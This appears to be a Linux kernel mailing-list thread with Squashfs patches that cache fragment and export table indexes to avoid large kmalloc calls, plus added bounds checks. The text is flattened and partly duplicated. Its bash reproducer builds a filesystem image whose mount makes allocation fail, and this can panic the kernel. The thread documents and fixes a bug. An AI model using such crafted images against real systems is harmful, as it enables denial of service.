fs/squashfs/squashfs.h renamed from fs/squashfs/squashfs.h~squashfs-dont-store-large-export-table-indexes-in-memory +2 -1
@@ -64,8 +64,9 @@ extern const struct squashfs_decompresso#endif /* export.c */ -extern __le64 *squashfs_read_inode_lookup_table (struct super_block *,u64 ,u64 , +extern int squashfs_read_inode_lookup_table (struct super_block *,u64 ,u64 ,unsigned int ); +extern s64 squashfs_inode_lookup_start (struct super_block *sb,u32 ino_num);/* fragment.c */ extern int squashfs_frag_lookup(struct super_block *sb, unsigned int fragment,
fs/squashfs/squashfs_helpers.h renamed from fs/squashfs/squashfs_helpers.h~squashfs-dont-store-large-export-table-indexes-in-memory +27 -1
@@ -135,11 +135,37 @@ static inline s32 squashfs_lookup_blocksSQUASHFS_METADATA_SIZE ; } -static inline s32 squashfs_lookup_block_bytes (u32 inodes) +static inline s32 squashfs_lookup_blocks_bytes (u32 inodes) {return squashfs_lookup_blocks (inodes) *sizeof (long long ); } +static inline s32 squashfs_lookup_blocks_base (u32 inodes) +{ +return (squashfs_lookup_block (inodes) *sizeof (long long )) & ~(PAGE_SIZE -1 ); +} + +static inline s64 squashfs_lookup_blocks_start (u32 inodes,struct squashfs_sb_info *msblk) +{ +s32 base =squashfs_lookup_blocks_base (inodes); +s64 start; + +if (S64_MAX - msblk->lookup_table < base) +return -EINVAL ; + + start = msblk->lookup_table + base; + +if (start > msblk->bytes_used) +return -EINVAL ; + +return start; +} + +static inline s32 squashfs_lookup_blocks_offset (u32 inodes) +{ +return (squashfs_lookup_block (inodes) *sizeof (long long )) & (PAGE_SIZE -1 ); +} +/* uid lookup table defines */ static inline s32 squashfs_id_bytes (u16 ids) {
fs/squashfs/super.c renamed from fs/squashfs/super.c~squashfs-dont-store-large-export-table-indexes-in-memory +24 -12
@@ -177,6 +177,13 @@ static const struct squashfs_decompressoreturn decompressor; } +static void squashfs_free_inode_table (struct squashfs_sb_info *msblk) +{ +if (msblk->lookup_table_is_cache) +squashfs_cache_delete (msblk->inode_lookup_cache); +else +kfree (msblk->inode_lookup_array); +}static int squashfs_fill_super (struct super_block *sb,struct fs_context *fc) {
@@ -187,8 +194,9 @@ static int squashfs_fill_super(struct sulong long root_inode;unsigned short flags;unsigned int fragments; -u64 lookup_table_start, xattr_id_table_start, next_table; -int err, devblksize =sb_min_blocksize (sb,SQUASHFS_DEVBLK_SIZE ); +u64 xattr_id_table_start, next_table; +s64 err; +int devblksize =sb_min_blocksize (sb,SQUASHFS_DEVBLK_SIZE );TRACE ("Entered squashfs_fill_superblock\n" );
@@ -391,20 +399,24 @@ allocate_id_index_table: next_table =le64_to_cpu (msblk->id_table[0 ]);/* Handle inode lookup table */ - lookup_table_start =le64_to_cpu (sblk->lookup_table_start); -if (lookup_table_start ==SQUASHFS_INVALID_BLK ) + msblk->lookup_table =le64_to_cpu (sblk->lookup_table_start); +if (msblk->lookup_table ==SQUASHFS_INVALID_BLK ) goto handle_fragments;/* Allocate and read inode lookup table */ - msblk->inode_lookup_table =squashfs_read_inode_lookup_table (sb, - lookup_table_start, next_table, msblk->inodes); -if (IS_ERR (msblk->inode_lookup_table)) { + err =squashfs_read_inode_lookup_table (sb, msblk->lookup_table, + next_table, msblk->inodes); +if (err <0 ) { +errorf (fc,"unable to read inode lookup table" ); + goto failed_mount; + } + + err =squashfs_inode_lookup_start (sb,1 ); +if (err <0 ) {errorf (fc,"unable to read inode lookup table" ); - err =PTR_ERR (msblk->inode_lookup_table); - msblk->inode_lookup_table =NULL ; goto failed_mount; } - next_table =le64_to_cpu (msblk->inode_lookup_table[0 ]); + next_table = msblk->lookup_table_start = err; sb->s_export_op = &squashfs_export_ops;
@@ -480,7 +492,7 @@ failed_mount:if (msblk->cache_mapping)iput (msblk->cache_mapping->host); msblk->thread_ops->destroy (msblk); -kfree (msblk->inode_lookup_table); +squashfs_free_inode_table (msblk);kfree (msblk->fragment_index);kfree (msblk->id_table);kfree (msblk->xattr_id_table);
@@ -603,7 +615,7 @@ static void squashfs_put_super(struct sukfree (sbi->id_table);kfree (sbi->fragment_index);kfree (sbi->meta_index); -kfree (sbi->inode_lookup_table); +squashfs_free_inode_table (sbi);kfree (sbi->xattr_id_table);kfree (sb->s_fs_info); sb->s_fs_info =NULL ;
_
Patches currently in -mm which might be from [email protected] are
squashfs-convert-squashfs_compressed_-to-inline-functions.patch squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions.patch squashfs-convert-squashfs_fragment_-to-inline-functions.patch squashfs-convert-squashfs_lookup_-to-inline-functions.patch squashfs-convert-squashfs_id_-to-inline-functions.patch squashfs-convert-squashfs_xattr_-to-inline-functions.patch squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch squashfs-dont-compute-start-or-alloc-memory-on-empty-directory-or-index.patch squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-or-size_t.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch
Phillip Lougher
maintainerPATCH v3 19/23 Squashfs: don't store large fragment table indexes in memory
In reply to Phillip LougherWhen mounting a Squashfs filesystem, the code reads the entire fragment table indexes into memory. Their size is determined by the number of fragments in the filesystem, where the maximum number of fragments is 2^32, and this will allocate and read 64 MiB.
This is an execessive and unnecessary amount of memory because the indexes do not need to be read into memory in their entirety. In addition kmalloc() is used to allocate memory, and this can fail when large amounts of memory are requested. Kmalloc() on modern kernels is usually limited to 4096 KiB. If panic-on-warn is set, then failure to allocate memory willl result in a kernel panic.
This commit uses a 4 page cache if the size of the fragment table indexes are 4 pages or larger. A simple and fast lookup array is retained where the total index size is less than 4 pages in size, which is the vast majority of Squashfs filesystems.
Reproducer
==========
The following reproducer will create a Squashfs filesystem with 280 million fragments, which will cause the fragment table indexes to exceed 4096 KiB, and the kmalloc() should fail when the filesystem is mounted.
=====================================================================
#!/bin/bash
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}IMG=$PWD/reproducer.sqsh
DIR=$(mktemp -d)
if [ -e $IMG ]; then
rm $IMG
fi
pushd $DIR 2>&1 > /dev/null
# create 20 million pseudo file links to file 2049 bytes in size truncate -s 2049 a a=0 while [ $a -le 19 ]; do b=0 while [ $b -le 999 ]; do c=0 while [ $c -le 999 ]; do echo "x/$a/$b/$c l a" >> file (( c ++ )) done (( b ++ )) done (( a ++ )) done
for i in $(seq 1 14); do
sed "s/x/$i/g" file > pseudo
echo
echo Iteration $i - appending 20 million files to Squashfs filesystem
echo
if ! mksquashfs - $IMG -pf pseudo -mem 100m -no-hardlinks -no-sparse -no-duplicates -no-exports -pd "d 0777 0 0" -no-recovery -b 4096; then
echo Appending to Squashfs filesystem failed
finish
fi
done
popd 2>&1 > /dev/null
rm -rf $DIR
echo Generated Squashfs filesystem $IMG
=====================================================================
---
v3:
- Widen return value of squashfs_fragment_blocks_offset() to s32.
v2:
- Widen offset in squashfs_frag_lookup_start() to s32, to prevent overflow when PAGE_SIZE is 64 KiB or larger.
--- fs/squashfs/fragment.c | 99 ++++++++++++++++++++++++++-------- fs/squashfs/squashfs.h | 3 +- fs/squashfs/squashfs_fs_sb.h | 8 ++- fs/squashfs/squashfs_helpers.h | 28 +++++++++- fs/squashfs/super.c | 32 +++++++---- 5 files changed, 136 insertions(+), 34 deletions(-)
fs/squashfs/fragment.c +78 -21
@@ -29,26 +29,67 @@#include "squashfs_helpers.h" #include "squashfs.h" +s64 squashfs_frag_lookup_start (struct super_block *sb,u32 fragment) +{ +struct squashfs_sb_info *msblk = sb->s_fs_info; +s64 start; + +if (msblk->fragment_index_is_cache) { +s32 length =squashfs_fragment_indexes_bytes (msblk->fragments); +s32 base =squashfs_fragment_indexes_base (fragment); +s32 offset =squashfs_fragment_indexes_offset (fragment); +s32 avail =min_t (int, length - base,PAGE_SIZE ); +struct squashfs_cache_entry *entry; + + start =squashfs_fragment_indexes_start (fragment, msblk); +if (start <0 ) +return start; + + entry =squashfs_cache_get (sb, msblk->fragment_index_cache, + start, avail |SQUASHFS_COMPRESSED_BIT_BLOCK ); +if (entry->error <0 ) { +int err = entry->error; + +squashfs_cache_put (entry); +return err; + } + + start =le64_to_cpu (((__le64 *)entry->data[0 ])[offset >>3 ]); +squashfs_cache_put (entry); + }else { +s32 block =squashfs_fragment_index (fragment); + + start =le64_to_cpu (msblk->fragment_index_array[block]); + } + +if (start < msblk->fragment_table_start || start >= msblk->fragment_table) +return -EIO ; + +return start; +} +/* * Look-up fragment using the fragment index table. Return the on disk * location of the fragment and its compressed size */ +int squashfs_frag_lookup (struct super_block *sb,unsigned int fragment,u64 *fragment_block,int *fragment_size) {struct squashfs_sb_info *msblk = sb->s_fs_info; -int block, offset, size; +s32 offset, size;struct squashfs_fragment_entry fragment_entry; -u64 start_block; +s64 start;if (fragment >= msblk->fragments)return -EIO ; - block =squashfs_fragment_index (fragment); - offset =squashfs_fragment_index_offset (fragment); - start_block =le64_to_cpu (msblk->fragment_index[block]); + start =squashfs_frag_lookup_start (sb, fragment); +if (start <0 ) +return start; - size =squashfs_read_metadata (sb, &fragment_entry, &start_block, + offset =squashfs_fragment_index_offset (fragment); + size =squashfs_read_metadata (sb, &fragment_entry, &start, &offset,sizeof (fragment_entry));if (size <0 )return size;
@@ -57,16 +98,14 @@ int squashfs_frag_lookup(struct super_block *sb, unsigned int fragment, *fragment_size =le32_to_cpu (fragment_entry.size);return 0 ; } - -/* * Read the uncompressed fragment lookup table indexes off disk into memory */ -__le64 *squashfs_read_fragment_index_table (struct super_block *sb, +int squashfs_read_fragment_index_table (struct super_block *sb,u64 fragment_table_start,u64 next_table,unsigned int fragments) { -unsigned int length =squashfs_fragment_index_bytes (fragments); -__le64 *table; +struct squashfs_sb_info *msblk = sb->s_fs_info; +s32 length =squashfs_fragment_indexes_bytes (fragments);/* * The computed size of the index table (length bytes) should exactly
@@ -74,18 +113,36 @@ __le64 *squashfs_read_fragment_index_table(struct super_block *sb,*/ if (fragment_table_start >= next_table || length != (next_table - fragment_table_start)) -return ERR_PTR (-EINVAL ); +return -EINVAL ; - table =squashfs_read_table (sb, fragment_table_start, length); +if (length <= (PAGE_SIZE *4 )) { +/* Read fragment index into memory */ +__le64 *array =squashfs_read_table (sb, fragment_table_start, length); -/* -* table[0] points to the first fragment table metadata block, this -* should be less than fragment_table_start -*/ -if (!IS_ERR (table) &&le64_to_cpu (table[0 ]) >= fragment_table_start) { -kfree (table); -return ERR_PTR (-EINVAL ); +if (IS_ERR (array)) +return PTR_ERR (array); + +/* +* table[0] points to the first fragment table metadata block, this +* should be less than fragment_table_start +*/ +if (le64_to_cpu (array[0 ]) >= fragment_table_start) { +kfree (array); +return -EINVAL ; + } + + msblk->fragment_index_array = array; + msblk->fragment_index_is_cache = false; + }else { +/* Use a cache to store the last 16Kbytes of indexes read */ +struct squashfs_cache *cache =squashfs_cache_init ("fragment index" ,4 ,PAGE_SIZE ); + +if (IS_ERR (cache)) +return PTR_ERR (cache); + + msblk->fragment_index_cache = cache; + msblk->fragment_index_is_cache = true; } -return table; +return 0 ; }
fs/squashfs/squashfs.h +2 -1
@@ -71,8 +71,9 @@ extern s64 squashfs_inode_lookup_start(struct super_block *sb, u32 ino_num);/* fragment.c */ extern int squashfs_frag_lookup (struct super_block *sb,unsigned int fragment,u64 *fragment_block,int *fragment_size); -extern __le64 *squashfs_read_fragment_index_table (struct super_block *, +extern int squashfs_read_fragment_index_table (struct super_block *,u64 ,u64 ,unsigned int ); +extern s64 squashfs_frag_lookup_start (struct super_block *sb,u32 fragment);/* file.c */ void squashfs_copy_cache(struct folio *, struct squashfs_cache_entry *,
fs/squashfs/squashfs_fs_sb.h +7 -1
@@ -59,7 +59,10 @@ struct squashfs_sb_info {struct address_space *cache_mapping;int next_meta_index;__le64 *id_table; -__le64 *fragment_index; +union { +__le64 *fragment_index_array; +struct squashfs_cache *fragment_index_cache; + };__le64 *xattr_id_table;struct mutex meta_index_mutex;struct meta_index *meta_index;
@@ -71,6 +74,8 @@ struct squashfs_sb_info {u64 inode_table;u64 directory_table;u64 directory_table_end; +u64 fragment_table; +u64 fragment_table_start;u64 xattr_table;u64 lookup_table;u64 lookup_table_start;
@@ -85,5 +90,6 @@ struct squashfs_sb_info {const struct squashfs_decompressor_thread_ops *thread_ops;int max_thread_num;bool lookup_table_is_cache; + bool fragment_index_is_cache; };#endif
fs/squashfs/squashfs_helpers.h +27 -1
@@ -108,11 +108,37 @@ static inline s32 squashfs_fragment_indexes(u32 fragments)SQUASHFS_METADATA_SIZE ; } -static inline s32 squashfs_fragment_index_bytes (u32 fragments) +static inline s32 squashfs_fragment_indexes_bytes (u32 fragments) {return squashfs_fragment_indexes (fragments) *sizeof (long long ); } +static inline s32 squashfs_fragment_indexes_base (u32 fragments) +{ +return (squashfs_fragment_index (fragments) *sizeof (long long )) & ~(PAGE_SIZE -1 ); +} + +static inline s64 squashfs_fragment_indexes_start (u32 fragments,struct squashfs_sb_info *msblk) +{ +s32 base =squashfs_fragment_indexes_base (fragments); +s64 start; + +if (S64_MAX - msblk->fragment_table < base) +return -EINVAL ; + + start = msblk->fragment_table + base; + +if (start > msblk->bytes_used) +return -EINVAL ; + +return start; +} + +static inline s32 squashfs_fragment_indexes_offset (u32 fragments) +{ +return (squashfs_fragment_index (fragments) *sizeof (long long )) & (PAGE_SIZE -1 ); +} +/* inode lookup table defines */ static inline s64 squashfs_lookup_bytes (u32 inodes) {
fs/squashfs/super.c +22 -10
@@ -185,6 +185,14 @@ static void squashfs_free_inode_table(struct squashfs_sb_info *msblk)kfree (msblk->inode_lookup_array); } +static void squashfs_free_fragment_indexes (struct squashfs_sb_info *msblk) +{ +if (msblk->fragment_index_is_cache) +squashfs_cache_delete (msblk->fragment_index_cache); +else +kfree (msblk->fragment_index_array); +} +static int squashfs_fill_super (struct super_block *sb,struct fs_context *fc) {struct squashfs_mount_opts *opts = fc->fs_private;
@@ -300,6 +308,7 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc) msblk->inode_table =le64_to_cpu (sblk->inode_table_start); msblk->directory_table =le64_to_cpu (sblk->directory_table_start); + msblk->fragment_table =le64_to_cpu (sblk->fragment_table_start); msblk->inodes =le32_to_cpu (sblk->inodes); msblk->fragments =le32_to_cpu (sblk->fragments); msblk->ids =le16_to_cpu (sblk->no_ids);
@@ -317,8 +326,7 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)TRACE ("Number of ids %d\n" , msblk->ids);TRACE ("sblk->inode_table_start %llx\n" , msblk->inode_table);TRACE ("sblk->directory_table_start %llx\n" , msblk->directory_table); -TRACE ("sblk->fragment_table_start %llx\n" , - (u64 )le64_to_cpu (sblk->fragment_table_start)); +TRACE ("sblk->fragment_table_start %llx\n" , msblk->fragment_table);TRACE ("sblk->id_table_start %llx\n" , (u64 )le64_to_cpu (sblk->id_table_start));
@@ -433,15 +441,19 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc) }/* Allocate and read fragment index table */ - msblk->fragment_index =squashfs_read_fragment_index_table (sb, -le64_to_cpu (sblk->fragment_table_start), next_table, fragments); -if (IS_ERR (msblk->fragment_index)) { + err =squashfs_read_fragment_index_table (sb, msblk->fragment_table, + next_table, fragments); +if (err <0 ) { +errorf (fc,"unable to read fragment index table" ); + goto failed_mount; + } + + err =squashfs_frag_lookup_start (sb,0 ); +if (err <0 ) {errorf (fc,"unable to read fragment index table" ); - err =PTR_ERR (msblk->fragment_index); - msblk->fragment_index =NULL ; goto failed_mount; } - next_table =le64_to_cpu (msblk->fragment_index[0 ]); + next_table = msblk->fragment_table_start = err; check_directory_table:/* Sanity check directory_table */
@@ -493,7 +505,7 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)iput (msblk->cache_mapping->host); msblk->thread_ops->destroy (msblk);squashfs_free_inode_table (msblk); -kfree (msblk->fragment_index); +squashfs_free_fragment_indexes (msblk);kfree (msblk->id_table);kfree (msblk->xattr_id_table);kfree (sb->s_fs_info);
@@ -613,7 +625,7 @@ static void squashfs_put_super(struct super_block *sb)iput (sbi->cache_mapping->host); sbi->thread_ops->destroy (sbi);kfree (sbi->id_table); -kfree (sbi->fragment_index); +squashfs_free_fragment_indexes (sbi);kfree (sbi->meta_index);squashfs_free_inode_table (sbi);kfree (sbi->xattr_id_table);
Signature · 1 line
2.47.3
Andrew Morton
tree notice+ squashfs-dont-store-large-fragment-table-indexes-in-memory.patch added to mm-nonmm-unstable branch
The patch titled Subject: Squashfs: don't store large fragment table indexes in memory has been added to the -mm mm-nonmm-unstable branch. Its filename is…
The patch titled
Subject: Squashfs: don't store large fragment table indexes in memory
has been added to the -mm mm-nonmm-unstable branch. Its filename is
squashfs-dont-store-large-fragment-table-indexes-in-memory.patch
This patch will shortly appear at
https://git.kernel.org/pub/scm/linux/kernel/git/akpm/25-new.git/tree/patches/squashfs-dont-store-large-fragment-table-indexes-in-memory.patch
This patch will later appear in the mm-nonmm-unstable branch at
git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
Before you just go and hit "reply", please:
a) Consider who else should be cc'ed
b) Prefer to cc a suitable mailing list as well
c) Ideally: find the original patch on the mailing list and do a reply-to-all to that, adding suitable additional cc's
*** Remember to use Documentation/process/submit-checklist.rst when testing your code ***
The -mm tree is included into linux-next via various branches at git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
and is updated there most days
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: don't store large fragment table indexes in memory
Date: Mon, 23 Nov 2026 03:43:00 +0000
When mounting a Squashfs filesystem, the code reads the entire fragment table indexes into memory. Their size is determined by the number of fragments in the filesystem, where the maximum number of fragments is 2^32, and this will allocate and read 64 MiB.
This is an execessive and unnecessary amount of memory because the indexes do not need to be read into memory in their entirety. In addition kmalloc() is used to allocate memory, and this can fail when large amounts of memory are requested. Kmalloc() on modern kernels is usually limited to 4096 KiB. If panic-on-warn is set, then failure to allocate memory willl result in a kernel panic.
This commit uses a 4 page cache if the size of the fragment table indexes are 4 pages or larger. A simple and fast lookup array is retained where the total index size is less than 4 pages in size, which is the vast majority of Squashfs filesystems.
Reproducer
==========
The following reproducer will create a Squashfs filesystem with 280 million fragments, which will cause the fragment table indexes to exceed 4096 KiB, and the kmalloc() should fail when the filesystem is mounted.
=====================================================================
#!/bin/bash
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}IMG=$PWD/reproducer.sqsh
DIR=$(mktemp -d)
if [ -e $IMG ]; then
rm $IMG
fi
pushd $DIR 2>&1 > /dev/null
# create 20 million pseudo file links to file 2049 bytes in size truncate -s 2049 a a=0 while [ $a -le 19 ]; do b=0 while [ $b -le 999 ]; do c=0 while [ $c -le 999 ]; do echo "x/$a/$b/$c l a" >> file (( c ++ )) done (( b ++ )) done (( a ++ )) done
for i in $(seq 1 14); do
sed "s/x/$i/g" file > pseudo
echo
echo Iteration $i - appending 20 million files to Squashfs filesystem
echo
if ! mksquashfs - $IMG -pf pseudo -mem 100m -no-hardlinks -no-sparse -no-duplicates -no-exports -pd "d 0777 0 0" -no-recovery -b 4096; then
echo Appending to Squashfs filesystem failed
finish
fi
done
popd 2>&1 > /dev/null
rm -rf $DIR
echo Generated Squashfs filesystem $IMG
=====================================================================
fs/squashfs/fragment.c | 99 ++++++++++++++++++++++++------- fs/squashfs/squashfs.h | 3 fs/squashfs/squashfs_fs_sb.h | 8 ++ fs/squashfs/squashfs_helpers.h | 28 ++++++++ fs/squashfs/super.c | 32 ++++++---- 5 files changed, 136 insertions(+), 34 deletions(-)
fs/squashfs/fragment.c renamed from fs/squashfs/fragment.c~squashfs-dont-store-large-fragment-table-indexes-in-memory +78 -21
@@ -29,26 +29,67 @@#include "squashfs_helpers.h" #include "squashfs.h" +s64 squashfs_frag_lookup_start (struct super_block *sb,u32 fragment) +{ +struct squashfs_sb_info *msblk = sb->s_fs_info; +s64 start; + +if (msblk->fragment_index_is_cache) { +s32 length =squashfs_fragment_indexes_bytes (msblk->fragments); +s32 base =squashfs_fragment_indexes_base (fragment); +s32 offset =squashfs_fragment_indexes_offset (fragment); +s32 avail =min_t (int, length - base,PAGE_SIZE ); +struct squashfs_cache_entry *entry; + + start =squashfs_fragment_indexes_start (fragment, msblk); +if (start <0 ) +return start; + + entry =squashfs_cache_get (sb, msblk->fragment_index_cache, + start, avail |SQUASHFS_COMPRESSED_BIT_BLOCK ); +if (entry->error <0 ) { +int err = entry->error; + +squashfs_cache_put (entry); +return err; + } + + start =le64_to_cpu (((__le64 *)entry->data[0 ])[offset >>3 ]); +squashfs_cache_put (entry); + }else { +s32 block =squashfs_fragment_index (fragment); + + start =le64_to_cpu (msblk->fragment_index_array[block]); + } + +if (start < msblk->fragment_table_start || start >= msblk->fragment_table) +return -EIO ; + +return start; +} +/* * Look-up fragment using the fragment index table. Return the on disk * location of the fragment and its compressed size */ +int squashfs_frag_lookup (struct super_block *sb,unsigned int fragment,u64 *fragment_block,int *fragment_size) {struct squashfs_sb_info *msblk = sb->s_fs_info; -int block, offset, size; +s32 offset, size;struct squashfs_fragment_entry fragment_entry; -u64 start_block; +s64 start;if (fragment >= msblk->fragments)return -EIO ; - block =squashfs_fragment_index (fragment); - offset =squashfs_fragment_index_offset (fragment); - start_block =le64_to_cpu (msblk->fragment_index[block]); + start =squashfs_frag_lookup_start (sb, fragment); +if (start <0 ) +return start; - size =squashfs_read_metadata (sb, &fragment_entry, &start_block, + offset =squashfs_fragment_index_offset (fragment); + size =squashfs_read_metadata (sb, &fragment_entry, &start, &offset,sizeof (fragment_entry));if (size <0 )return size;
@@ -57,16 +98,14 @@ int squashfs_frag_lookup(struct super_bl *fragment_size =le32_to_cpu (fragment_entry.size);return 0 ; } - -/* * Read the uncompressed fragment lookup table indexes off disk into memory */ -__le64 *squashfs_read_fragment_index_table (struct super_block *sb, +int squashfs_read_fragment_index_table (struct super_block *sb,u64 fragment_table_start,u64 next_table,unsigned int fragments) { -unsigned int length =squashfs_fragment_index_bytes (fragments); -__le64 *table; +struct squashfs_sb_info *msblk = sb->s_fs_info; +s32 length =squashfs_fragment_indexes_bytes (fragments);/* * The computed size of the index table (length bytes) should exactly
@@ -74,18 +113,36 @@ __le64 *squashfs_read_fragment_index_tab*/ if (fragment_table_start >= next_table || length != (next_table - fragment_table_start)) -return ERR_PTR (-EINVAL ); +return -EINVAL ; - table =squashfs_read_table (sb, fragment_table_start, length); +if (length <= (PAGE_SIZE *4 )) { +/* Read fragment index into memory */ +__le64 *array =squashfs_read_table (sb, fragment_table_start, length); + +if (IS_ERR (array)) +return PTR_ERR (array); + +/* +* table[0] points to the first fragment table metadata block, this +* should be less than fragment_table_start +*/ +if (le64_to_cpu (array[0 ]) >= fragment_table_start) { +kfree (array); +return -EINVAL ; + } + + msblk->fragment_index_array = array; + msblk->fragment_index_is_cache = false; + }else { +/* Use a cache to store the last 16Kbytes of indexes read */ +struct squashfs_cache *cache =squashfs_cache_init ("fragment index" ,4 ,PAGE_SIZE ); -/* -* table[0] points to the first fragment table metadata block, this -* should be less than fragment_table_start -*/ -if (!IS_ERR (table) &&le64_to_cpu (table[0 ]) >= fragment_table_start) { -kfree (table); -return ERR_PTR (-EINVAL ); +if (IS_ERR (cache)) +return PTR_ERR (cache); + + msblk->fragment_index_cache = cache; + msblk->fragment_index_is_cache = true; } -return table; +return 0 ; }
fs/squashfs/squashfs_fs_sb.h renamed from fs/squashfs/squashfs_fs_sb.h~squashfs-dont-store-large-fragment-table-indexes-in-memory +7 -1
@@ -59,7 +59,10 @@ struct squashfs_sb_info {struct address_space *cache_mapping;int next_meta_index;__le64 *id_table; -__le64 *fragment_index; +union { +__le64 *fragment_index_array; +struct squashfs_cache *fragment_index_cache; + };__le64 *xattr_id_table;struct mutex meta_index_mutex;struct meta_index *meta_index;
@@ -71,6 +74,8 @@ struct squashfs_sb_info {u64 inode_table;u64 directory_table;u64 directory_table_end; +u64 fragment_table; +u64 fragment_table_start;u64 xattr_table;u64 lookup_table;u64 lookup_table_start;
@@ -85,5 +90,6 @@ struct squashfs_sb_info {const struct squashfs_decompressor_thread_ops *thread_ops;int max_thread_num;bool lookup_table_is_cache; + bool fragment_index_is_cache; };#endif
fs/squashfs/squashfs.h renamed from fs/squashfs/squashfs.h~squashfs-dont-store-large-fragment-table-indexes-in-memory +2 -1
@@ -71,8 +71,9 @@ extern s64 squashfs_inode_lookup_start(s/* fragment.c */ extern int squashfs_frag_lookup (struct super_block *sb,unsigned int fragment,u64 *fragment_block,int *fragment_size); -extern __le64 *squashfs_read_fragment_index_table (struct super_block *, +extern int squashfs_read_fragment_index_table (struct super_block *,u64 ,u64 ,unsigned int ); +extern s64 squashfs_frag_lookup_start (struct super_block *sb,u32 fragment);/* file.c */ void squashfs_copy_cache(struct folio *, struct squashfs_cache_entry *,
fs/squashfs/squashfs_helpers.h renamed from fs/squashfs/squashfs_helpers.h~squashfs-dont-store-large-fragment-table-indexes-in-memory +27 -1
@@ -108,11 +108,37 @@ static inline s32 squashfs_fragment_indeSQUASHFS_METADATA_SIZE ; } -static inline s32 squashfs_fragment_index_bytes (u32 fragments) +static inline s32 squashfs_fragment_indexes_bytes (u32 fragments) {return squashfs_fragment_indexes (fragments) *sizeof (long long ); } +static inline s32 squashfs_fragment_indexes_base (u32 fragments) +{ +return (squashfs_fragment_index (fragments) *sizeof (long long )) & ~(PAGE_SIZE -1 ); +} + +static inline s64 squashfs_fragment_indexes_start (u32 fragments,struct squashfs_sb_info *msblk) +{ +s32 base =squashfs_fragment_indexes_base (fragments); +s64 start; + +if (S64_MAX - msblk->fragment_table < base) +return -EINVAL ; + + start = msblk->fragment_table + base; + +if (start > msblk->bytes_used) +return -EINVAL ; + +return start; +} + +static inline s32 squashfs_fragment_indexes_offset (u32 fragments) +{ +return (squashfs_fragment_index (fragments) *sizeof (long long )) & (PAGE_SIZE -1 ); +} +/* inode lookup table defines */ static inline s64 squashfs_lookup_bytes (u32 inodes) {
fs/squashfs/super.c renamed from fs/squashfs/super.c~squashfs-dont-store-large-fragment-table-indexes-in-memory +22 -10
@@ -185,6 +185,14 @@ static void squashfs_free_inode_table(stkfree (msblk->inode_lookup_array); } +static void squashfs_free_fragment_indexes (struct squashfs_sb_info *msblk) +{ +if (msblk->fragment_index_is_cache) +squashfs_cache_delete (msblk->fragment_index_cache); +else +kfree (msblk->fragment_index_array); +} +static int squashfs_fill_super (struct super_block *sb,struct fs_context *fc) {struct squashfs_mount_opts *opts = fc->fs_private;
@@ -300,6 +308,7 @@ static int squashfs_fill_super(struct su msblk->inode_table =le64_to_cpu (sblk->inode_table_start); msblk->directory_table =le64_to_cpu (sblk->directory_table_start); + msblk->fragment_table =le64_to_cpu (sblk->fragment_table_start); msblk->inodes =le32_to_cpu (sblk->inodes); msblk->fragments =le32_to_cpu (sblk->fragments); msblk->ids =le16_to_cpu (sblk->no_ids);
@@ -317,8 +326,7 @@ static int squashfs_fill_super(struct suTRACE ("Number of ids %d\n" , msblk->ids);TRACE ("sblk->inode_table_start %llx\n" , msblk->inode_table);TRACE ("sblk->directory_table_start %llx\n" , msblk->directory_table); -TRACE ("sblk->fragment_table_start %llx\n" , - (u64 )le64_to_cpu (sblk->fragment_table_start)); +TRACE ("sblk->fragment_table_start %llx\n" , msblk->fragment_table);TRACE ("sblk->id_table_start %llx\n" , (u64 )le64_to_cpu (sblk->id_table_start));
@@ -433,15 +441,19 @@ handle_fragments: }/* Allocate and read fragment index table */ - msblk->fragment_index =squashfs_read_fragment_index_table (sb, -le64_to_cpu (sblk->fragment_table_start), next_table, fragments); -if (IS_ERR (msblk->fragment_index)) { + err =squashfs_read_fragment_index_table (sb, msblk->fragment_table, + next_table, fragments); +if (err <0 ) { +errorf (fc,"unable to read fragment index table" ); + goto failed_mount; + } + + err =squashfs_frag_lookup_start (sb,0 ); +if (err <0 ) {errorf (fc,"unable to read fragment index table" ); - err =PTR_ERR (msblk->fragment_index); - msblk->fragment_index =NULL ; goto failed_mount; } - next_table =le64_to_cpu (msblk->fragment_index[0 ]); + next_table = msblk->fragment_table_start = err; check_directory_table:/* Sanity check directory_table */
@@ -493,7 +505,7 @@ failed_mount:iput (msblk->cache_mapping->host); msblk->thread_ops->destroy (msblk);squashfs_free_inode_table (msblk); -kfree (msblk->fragment_index); +squashfs_free_fragment_indexes (msblk);kfree (msblk->id_table);kfree (msblk->xattr_id_table);kfree (sb->s_fs_info);
@@ -613,7 +625,7 @@ static void squashfs_put_super(struct suiput (sbi->cache_mapping->host); sbi->thread_ops->destroy (sbi);kfree (sbi->id_table); -kfree (sbi->fragment_index); +squashfs_free_fragment_indexes (sbi);kfree (sbi->meta_index);squashfs_free_inode_table (sbi);kfree (sbi->xattr_id_table);
_
Patches currently in -mm which might be from [email protected] are
